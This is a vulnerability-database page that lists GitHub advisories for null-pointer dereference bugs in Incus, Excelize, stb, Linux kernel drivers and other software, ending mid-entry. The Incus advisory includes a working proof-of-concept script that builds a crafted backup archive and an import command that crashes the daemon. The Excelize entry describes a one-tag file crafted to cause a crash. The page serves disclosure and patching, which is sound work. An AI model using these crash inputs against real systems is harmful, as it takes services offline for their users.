Vulnerability-Lookup

GHSA-R7HC-3QCJ-83XR

Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2022-05-13 01:34

Details

Incorrect handling of an invalid value for an HTTP request parameter by Directory Server (aka Enterprise Server Administration web UI) in Micro Focus Enterprise Developer and Enterprise Server 2.3 Update 2 and earlier, 3.0 before Patch Update 12, and 4.0 before Patch Update 2 causes a null pointer dereference (CWE-476) and subsequent denial of service due to process termination.

Severity

7.5 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2018-12469"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-10-12T13:29:00Z",
    "severity": "HIGH"
  },
  "details": "Incorrect handling of an invalid value for an HTTP request parameter by Directory Server (aka Enterprise Server Administration web UI) in Micro Focus Enterprise Developer and Enterprise Server 2.3 Update 2 and earlier, 3.0 before Patch Update 12, and 4.0 before Patch Update 2 causes a null pointer dereference (CWE-476) and subsequent denial of service due to process termination.",
  "id": "GHSA-r7hc-3qcj-83xr",
  "modified": "2022-05-13T01:34:46Z",
  "published": "2022-05-13T01:34:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-12469"
    },
    {
      "type": "WEB",
      "url": "https://community.microfocus.com/microfocus/mainframe_solutions/enterprise_server/w/knowledge_base/29624/enterprise-server-security-fix-october-2018"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R7P6-CFF4-G6Q4

Vulnerability from github – Published: 2024-04-04 09:30 – Updated: 2026-08-04 12:32

Details

In the Linux kernel, the following vulnerability has been resolved:

stmmac: Clear variable when destroying workqueue

Currently when suspending driver and stopping workqueue it is checked whether workqueue is not NULL and if so, it is destroyed. Function destroy_workqueue() does drain queue and does clear variable, but it does not set workqueue variable to NULL. This can cause kernel/module panic if code attempts to clear workqueue that was not initialized.

This scenario is possible when resuming suspended driver in stmmac_resume(), because there is no handling for failed stmmac_hw_setup(), which can fail and return if DMA engine has failed to initialize, and workqueue is initialized after DMA engine. Should DMA engine fail to initialize, resume will proceed normally, but interface won't work and TX queue will eventually timeout, causing 'Reset adapter' error. This then does destroy workqueue during reset process. And since workqueue is initialized after DMA engine and can be skipped, it will cause kernel/module panic.

To secure against this possible crash, set workqueue variable to NULL when destroying workqueue.

Log/backtrace from crash goes as follows: [88.031977]------------[ cut here ]------------ [88.031985]NETDEV WATCHDOG: eth0 (sxgmac): transmit queue 1 timed out [88.032017]WARNING: CPU: 0 PID: 0 at net/sched/sch_generic.c:477 dev_watchdog+0x390/0x398 [88.032251]---[ end trace e70de432e4d5c2c0 ]--- [88.032282]sxgmac 16d88000.ethernet eth0: Reset adapter. [88.036359]------------[ cut here ]------------ [88.036519]Call trace: [88.036523] flush_workqueue+0x3e4/0x430 [88.036528] drain_workqueue+0xc4/0x160 [88.036533] destroy_workqueue+0x40/0x270 [88.036537] stmmac_fpe_stop_wq+0x4c/0x70 [88.036541] stmmac_release+0x278/0x280 [88.036546] __dev_close_many+0xcc/0x158 [88.036551] dev_close_many+0xbc/0x190 [88.036555] dev_close.part.0+0x70/0xc0 [88.036560] dev_close+0x24/0x30 [88.036564] stmmac_service_task+0x110/0x140 [88.036569] process_one_work+0x1d8/0x4a0 [88.036573] worker_thread+0x54/0x408 [88.036578] kthread+0x164/0x170 [88.036583] ret_from_fork+0x10/0x20 [88.036588]---[ end trace e70de432e4d5c2c1 ]--- [88.036597]Unable to handle kernel NULL pointer dereference at virtual address 0000000000000004

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-26802"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-04T09:15:09Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nstmmac: Clear variable when destroying workqueue\n\nCurrently when suspending driver and stopping workqueue it is checked whether\nworkqueue is not NULL and if so, it is destroyed.\nFunction destroy_workqueue() does drain queue and does clear variable, but\nit does not set workqueue variable to NULL. This can cause kernel/module\npanic if code attempts to clear workqueue that was not initialized.\n\nThis scenario is possible when resuming suspended driver in stmmac_resume(),\nbecause there is no handling for failed stmmac_hw_setup(),\nwhich can fail and return if DMA engine has failed to initialize,\nand workqueue is initialized after DMA engine.\nShould DMA engine fail to initialize, resume will proceed normally,\nbut interface won\u0027t work and TX queue will eventually timeout,\ncausing \u0027Reset adapter\u0027 error.\nThis then does destroy workqueue during reset process.\nAnd since workqueue is initialized after DMA engine and can be skipped,\nit will cause kernel/module panic.\n\nTo secure against this possible crash, set workqueue variable to NULL when\ndestroying workqueue.\n\nLog/backtrace from crash goes as follows:\n[88.031977]------------[ cut here ]------------\n[88.031985]NETDEV WATCHDOG: eth0 (sxgmac): transmit queue 1 timed out\n[88.032017]WARNING: CPU: 0 PID: 0 at net/sched/sch_generic.c:477 dev_watchdog+0x390/0x398\n           \u003cSkipping backtrace for watchdog timeout\u003e\n[88.032251]---[ end trace e70de432e4d5c2c0 ]---\n[88.032282]sxgmac 16d88000.ethernet eth0: Reset adapter.\n[88.036359]------------[ cut here ]------------\n[88.036519]Call trace:\n[88.036523] flush_workqueue+0x3e4/0x430\n[88.036528] drain_workqueue+0xc4/0x160\n[88.036533] destroy_workqueue+0x40/0x270\n[88.036537] stmmac_fpe_stop_wq+0x4c/0x70\n[88.036541] stmmac_release+0x278/0x280\n[88.036546] __dev_close_many+0xcc/0x158\n[88.036551] dev_close_many+0xbc/0x190\n[88.036555] dev_close.part.0+0x70/0xc0\n[88.036560] dev_close+0x24/0x30\n[88.036564] stmmac_service_task+0x110/0x140\n[88.036569] process_one_work+0x1d8/0x4a0\n[88.036573] worker_thread+0x54/0x408\n[88.036578] kthread+0x164/0x170\n[88.036583] ret_from_fork+0x10/0x20\n[88.036588]---[ end trace e70de432e4d5c2c1 ]---\n[88.036597]Unable to handle kernel NULL pointer dereference at virtual address 0000000000000004",
  "id": "GHSA-r7p6-cff4-g6q4",
  "modified": "2026-08-04T12:32:48Z",
  "published": "2024-04-04T09:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26802"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/17ccd9798fe0beda3db212cfa3ebe373f605cbd6"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/699b103e48ce32d03fc86c35b37ee8ae4288c7e3"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/8af411bbba1f457c33734795f024d0ef26d0963f"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/8e99556301172465c8fe33c7f78c39a3d4ce8462"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f72cf22dccc94038cbbaa1029cb575bf52e5cbc8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R7RC-F8XH-W76M

Vulnerability from github – Published: 2022-05-14 02:59 – Updated: 2022-05-14 02:59

Details

The AP4_Processor::Process function in Core/Ap4Processor.cpp in Bento4 mp4encrypt before 1.5.0-616 allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via a crafted mp4 file.

Severity

5.5 (Medium)


                  
                    CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2017-12475"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-09-06T08:29:00Z",
    "severity": "MODERATE"
  },
  "details": "The AP4_Processor::Process function in Core/Ap4Processor.cpp in Bento4 mp4encrypt before 1.5.0-616 allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via a crafted mp4 file.",
  "id": "GHSA-r7rc-f8xh-w76m",
  "modified": "2022-05-14T02:59:06Z",
  "published": "2022-05-14T02:59:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12475"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axiomatic-systems/Bento4/commit/4d3f0bebd5f8518fd775f671c12bea58c68e814e"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/open?id=0B6wBkDmxMGMKUjNscThnbTlSZ2s"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/open?id=0B9DojFnTUSNGZ1JfNUc1am9pcnc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R7W7-MMXR-47R9

Vulnerability from github – Published: 2026-05-04 17:45 – Updated: 2026-05-08 19:27

Summary

Incus has a Nil-Pointer Dereference via Custom Volume Import

Details

Summary

Missing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.

Details

The custom volume backup import subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during import operations.

In the snapshot import loop, the daemon iterates over entries from srcBackup.Config.VolumeSnapshots, which is a slice of pointers. The implementation assumes that each slice element is non-nil and immediately dereferences it through expressions such as snapshot.Name, snapshot.Config, snapshot.Description, snapshot.CreatedAt, and *snapshot.ExpiresAt without first validating that the element itself is initialized.

Because the YAML unmarshaler accepts explicit null array elements from an attacker-controlled index.yaml and converts them into nil pointers inside the slice, an authenticated attacker can supply a backup archive containing a null entry in the volume_snapshots array. This causes the daemon to dereference a nil pointer during custom volume import and terminate, resulting in immediate denial of service on the node.

Affected File: https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go

Affected Code:

func (b *backend) CreateCustomVolumeFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) error {
    [...]
    // Create database entries for new storage volume snapshots.
    for _, s := range srcBackup.Config.VolumeSnapshots {
        snapshot := s // Local var for revert.
        snapName := snapshot.Name

        // Due to a historical bug, the volume snapshot names were sometimes written in their full form
        // (<parent>/<snap>) rather than the expected snapshot name only form, so we need to handle both.
        if internalInstance.IsSnapshot(snapshot.Name) {
            _, snapName, _ = api.GetParentAndSnapshotName(snapshot.Name)
        }

        fullSnapName := drivers.GetSnapshotVolumeName(srcBackup.Name, snapName)
        snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)
        snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)

        // Validate config and create database entry for new storage volume.
        // Strip unsupported config keys (in case the export was made from a different type of storage pool).
        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
        if err != nil {
            return err
        }

        reverter.Add(func() { _ = VolumeDBDelete(b, srcBackup.Project, fullSnapName, snapVol.Type()) })
    }
    [...]
}

PoC

The following PoC demonstrates that a crafted custom volume backup archive containing a null entry in volume_snapshots can trigger a nil-pointer dereference during import.

Step 1: Generate the malformed archive

From a client or workstation with shell access, create a custom volume backup archive whose index.yaml contains one physical snapshot directory and a matching volume_snapshots array containing a literal null entry.

Commands:

cat <<EOF > poc_nil_snapshot.sh
#!/bin/bash
set -e

echo "[*] Building null snapshot dereference payload..."

mkdir -p backup/volume
mkdir -p backup/snapshots/snap0

cat <<EOT > backup/index.yaml
name: panic-nil-snap
backend: dir
pool: default
type: custom
snapshots:
  - snap0
config:
  volume:
    name: panic-nil-snap
    type: custom
    content_type: filesystem
    config: {}
  volume_snapshots:
    - null
EOT

tar -czf exploit_null_snapshot.tar.gz backup/
rm -rf backup/

echo "[+] PoC Tarball Created: exploit_null_snapshot.tar.gz"
EOF

bash poc_nil_snapshot.sh

Result:

[+] PoC Tarball Created: exploit_null_snapshot.tar.gz

Step 2: Trigger the vulnerable custom volume import path

From an Incus client with permission to import custom volumes, import the crafted archive into a valid storage pool.

Command:

incus storage volume import default exploit_null_snapshot.tar.gz

Result:

Error: Operation not found

Step 3: Verify the daemon panic

On the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer dereference in CreateCustomVolumeFromBackup.

Command:

journalctl -u incus --since "3 minutes ago" | grep -A 15 "panic:"

Result:

panic: runtime error: invalid memory address or nil pointer dereference
github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)

Mar 23 17:27:55 incus-7a incusd[238672]: panic: runtime error: invalid memory address or nil pointer dereference
Mar 23 17:27:55 incus-7a incusd[238672]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x16881c3]
Mar 23 17:27:55 incus-7a incusd[238672]: goroutine 5802 [running]:
Mar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(0x31c86ff85800, {{0x31c870a13203, 0x9}, {0x31c870a13300, 0xe}, {0x31c870a13318, 0x3}, {0x31c86f6d6298, 0x7}, {0x31c86fd13280, ...}, ...}, ...)
Mar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7627 +0xe03
Mar 23 17:27:55 incus-7a incusd[238672]: main.createStoragePoolVolumeFromBackup.func6(0x31c86fa5e000?)
Mar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/cmd/incusd/storage_volumes.go:2715 +0x3f4
Mar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start.func1(0x31c86f758140)
Mar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26
Mar 23 17:27:55 incus-7a incusd[238672]: created by github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start in goroutine 5783
Mar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:306 +0x105
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Failed with result 'exit-code'.
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 159855 (qemu-system-x86) remains running after unit stopped.
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238744 (dnsmasq) remains running after unit stopped.
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238760 (dnsmasq) remains running after unit stopped.

It is recommended to validate that each element of srcBackup.Config.VolumeSnapshots is non-nil before dereferencing it. If the archive contains a null snapshot entry, the function should return a structured validation error and abort the import gracefully rather than allowing a runtime panic to crash the service.

Credit

This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v6/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T17:45:21Z",
    "nvd_published_at": "2026-05-06T21:16:00Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nMissing validation logic in the storage volume import logic allows an authenticated user with access to Incus\u0027 storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.\n\n### Details\nThe custom volume backup import subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during import operations.\n\nIn the snapshot import loop, the daemon iterates over entries from srcBackup.Config.VolumeSnapshots, which is a slice of pointers. The implementation assumes that each slice element is non-nil and immediately dereferences it through expressions such as snapshot.Name, snapshot.Config, snapshot.Description, snapshot.CreatedAt, and *snapshot.ExpiresAt without first validating that the element itself is initialized.\n\nBecause the YAML unmarshaler accepts explicit null array elements from an attacker-controlled index.yaml and converts them into nil pointers inside the slice, an authenticated attacker can supply a backup archive containing a null entry in the volume_snapshots array. This causes the daemon to dereference a nil pointer during custom volume import and terminate, resulting in immediate denial of service on the node.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go \n\nAffected Code:\n```\nfunc (b *backend) CreateCustomVolumeFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) error {\n    [...]\n    // Create database entries for new storage volume snapshots.\n    for _, s := range srcBackup.Config.VolumeSnapshots {\n        snapshot := s // Local var for revert.\n        snapName := snapshot.Name\n\n        // Due to a historical bug, the volume snapshot names were sometimes written in their full form\n        // (\u003cparent\u003e/\u003csnap\u003e) rather than the expected snapshot name only form, so we need to handle both.\n        if internalInstance.IsSnapshot(snapshot.Name) {\n            _, snapName, _ = api.GetParentAndSnapshotName(snapshot.Name)\n        }\n\n        fullSnapName := drivers.GetSnapshotVolumeName(srcBackup.Name, snapName)\n        snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)\n        snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)\n\n        // Validate config and create database entry for new storage volume.\n        // Strip unsupported config keys (in case the export was made from a different type of storage pool).\n        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)\n        if err != nil {\n            return err\n        }\n\n        reverter.Add(func() { _ = VolumeDBDelete(b, srcBackup.Project, fullSnapName, snapVol.Type()) })\n    }\n    [...]\n}\n```\n\n### PoC\nThe following PoC demonstrates that a crafted custom volume backup archive containing a null entry in volume_snapshots can trigger a nil-pointer dereference during import.\n\nStep 1: Generate the malformed archive\n\nFrom a client or workstation with shell access, create a custom volume backup archive whose index.yaml contains one physical snapshot directory and a matching volume_snapshots array containing a literal null entry.\n\nCommands:\n```\ncat \u003c\u003cEOF \u003e poc_nil_snapshot.sh\n#!/bin/bash\nset -e\n\necho \"[*] Building null snapshot dereference payload...\"\n\nmkdir -p backup/volume\nmkdir -p backup/snapshots/snap0\n\ncat \u003c\u003cEOT \u003e backup/index.yaml\nname: panic-nil-snap\nbackend: dir\npool: default\ntype: custom\nsnapshots:\n  - snap0\nconfig:\n  volume:\n    name: panic-nil-snap\n    type: custom\n    content_type: filesystem\n    config: {}\n  volume_snapshots:\n    - null\nEOT\n\ntar -czf exploit_null_snapshot.tar.gz backup/\nrm -rf backup/\n\necho \"[+] PoC Tarball Created: exploit_null_snapshot.tar.gz\"\nEOF\n\nbash poc_nil_snapshot.sh\n```\n\nResult:\n```\n[+] PoC Tarball Created: exploit_null_snapshot.tar.gz\n```\n\nStep 2: Trigger the vulnerable custom volume import path\n\nFrom an Incus client with permission to import custom volumes, import the crafted archive into a valid storage pool.\n\nCommand:\n```\nincus storage volume import default exploit_null_snapshot.tar.gz\n```\n\nResult:\n```\nError: Operation not found\n```\n\nStep 3: Verify the daemon panic\n\nOn the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer dereference in CreateCustomVolumeFromBackup.\n\n\nCommand:\n```\njournalctl -u incus --since \"3 minutes ago\" | grep -A 15 \"panic:\"\n```\n\nResult:\n```\npanic: runtime error: invalid memory address or nil pointer dereference\ngithub.com/lxc/incus/v6/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)\n\nMar 23 17:27:55 incus-7a incusd[238672]: panic: runtime error: invalid memory address or nil pointer dereference\nMar 23 17:27:55 incus-7a incusd[238672]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x16881c3]\nMar 23 17:27:55 incus-7a incusd[238672]: goroutine 5802 [running]:\nMar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(0x31c86ff85800, {{0x31c870a13203, 0x9}, {0x31c870a13300, 0xe}, {0x31c870a13318, 0x3}, {0x31c86f6d6298, 0x7}, {0x31c86fd13280, ...}, ...}, ...)\nMar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7627 +0xe03\nMar 23 17:27:55 incus-7a incusd[238672]: main.createStoragePoolVolumeFromBackup.func6(0x31c86fa5e000?)\nMar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/cmd/incusd/storage_volumes.go:2715 +0x3f4\nMar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start.func1(0x31c86f758140)\nMar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26\nMar 23 17:27:55 incus-7a incusd[238672]: created by github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start in goroutine 5783\nMar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:306 +0x105\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Main process exited, code=exited, status=2/INVALIDARGUMENT\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Failed with result \u0027exit-code\u0027.\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 159855 (qemu-system-x86) remains running after unit stopped.\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238744 (dnsmasq) remains running after unit stopped.\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238760 (dnsmasq) remains running after unit stopped.\n```\n\nIt is recommended to validate that each element of srcBackup.Config.VolumeSnapshots is non-nil before dereferencing it. If the archive contains a null snapshot entry, the function should return a structured validation error and abort the import gracefully rather than allowing a runtime panic to crash the service.\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)",
  "id": "GHSA-r7w7-mmxr-47r9",
  "modified": "2026-05-08T19:27:07Z",
  "published": "2026-05-04T17:45:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-r7w7-mmxr-47r9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40197"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Incus has a Nil-Pointer Dereference via Custom Volume Import"
}

GHSA-R7W9-77P6-9Q6M

Vulnerability from github – Published: 2023-10-03 21:30 – Updated: 2023-11-09 21:30

Details

Nothings stb 2.28 was discovered to contain a Null Pointer Dereference via the function stbi__convert_format. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted pic file.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-43898"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-03T21:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Nothings stb 2.28 was discovered to contain a Null Pointer Dereference via the function stbi__convert_format. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted pic file.",
  "id": "GHSA-r7w9-77p6-9q6m",
  "modified": "2023-11-09T21:30:34Z",
  "published": "2023-10-03T21:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43898"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nothings/stb/issues/1452"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nothings/stb/pull/1454"
    },
    {
      "type": "WEB",
      "url": "https://github.com/peccc/null-stb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R7X2-WQ2H-F7X7

Vulnerability from github – Published: 2025-03-06 18:31 – Updated: 2025-03-25 15:31

Details

In the Linux kernel, the following vulnerability has been resolved:

clk: mmp: pxa1908-mpmu: Fix a NULL vs IS_ERR() check

The devm_kzalloc() function returns NULL on error, not error pointers. Update the check to match.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-58067"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-06T16:15:53Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nclk: mmp: pxa1908-mpmu: Fix a NULL vs IS_ERR() check\n\nThe devm_kzalloc() function returns NULL on error, not error pointers.\nUpdate the check to match.",
  "id": "GHSA-r7x2-wq2h-f7x7",
  "modified": "2025-03-25T15:31:22Z",
  "published": "2025-03-06T18:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58067"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0869a7b2afdfcdd2beb0a5fb683119bcf39c0e9d"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/7def56f841af22e07977e193eea002e085facbdb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R7X5-4969-99P7

Vulnerability from github – Published: 2026-10-08 16:50 – Updated: 2026-10-08 16:50

Summary

Excelize: Nil-pointer dereference in GetSlicers when a worksheet has extLst present but no drawing element

Details

Summary

GetSlicers guards only if ws.ExtLst == nil { return } (slicer.go:816-818) and then immediately dereferences ws.Drawing.RID with no nil check on ws.Drawing itself. Drawing and ExtLst are two independently optional child elements of in xl/worksheets/sheetN.xml, populated separately by encoding/xml depending on whether each tag is present. I executed a PoC: took a plain NewFile() workbook (no drawing, no slicer), saved it, then injected a bare <extLst></extLst> immediately before </worksheet> in xl/worksheets/sheet1.xml (no other change, no drawing element present) and called GetSlicers. Result: runtime error: invalid memory address or nil pointer dereference, confirmed at the ws.Drawing.RID line via stack trace.

Reachability / who can trigger this

Unauthenticated: any application that opens an untrusted .xlsx and calls the public File.GetSlicers(sheet) API. The trigger is a single empty XML tag with no valid slicer or drawing content required at all, making it an even smaller/simpler payload than candidate 1.

Proof of Concept / Reproduction

Method: 1) Reused the existing clone at C:\Users\vatsa\AppData\Local\Temp\claude\D--\59901fa2-b549-40e1-a433-30c8a3d01718\scratchpad\CVE-Hunt-10k\repos\qax-os__excelize (origin=https://github.com/qax-os/excelize.git, branch master up to date, commit e81f05008b33232151a58f06474fad5f70c4d060 dated 2026-09-27, git describe=v2.11.0-42-ge81f050, i.e. 42 commits past the v2.11.0 tag). 2) Manually re-read the cited source myself (not trusting the claim): slicer.go:805-820 (GetSlicers) and xmlWorksheet.go:21-72 (xlsxWorksheet struct + xlsxDrawing struct) -- confirmed verbatim, matches claim exactly. 3) Confirmed local toolchain: go version go1.27.0 windows/amd64 (/c/Program Files/Go/bin/go). 4) Built the whole package with go build ./... from the repo root -- succeeded with zero errors, proving the current checkout compiles cleanly. 5) Ran the pre-existing PoC test file already present in this checkout (slicer_extlst_poc_test.go, TestGetSlicersNilDrawingPanic) via go test -run TestGetSlicersNilDrawingPanic -v .: it builds a benign excelize.NewFile() workbook, saves it, reopens it, loads the raw zip entry xl/worksheets/sheet1.xml, string-replaces </worksheet> with <extLst></extLst></worksheet> (adds nothing else, no anywhere), rebuilds the zip byte-for-byte otherwise unchanged (rezipReplacing helper, plain archive/zip re-encode), reopens the crafted file with excelize.OpenReader, and calls the public GetSlicers("Sheet1") API inside a recover(). 6) For a fully independent, non-test-harness reproduction, I additionally wrote and built my own separate standalone Go module+program from scratch (excelize-nilptr-repro/{go.mod,main.go} in my scratchpad dir) that imports the real, unmodified excelize package as an external library dependency via a replace github.com/xuri/excelize/v2 => 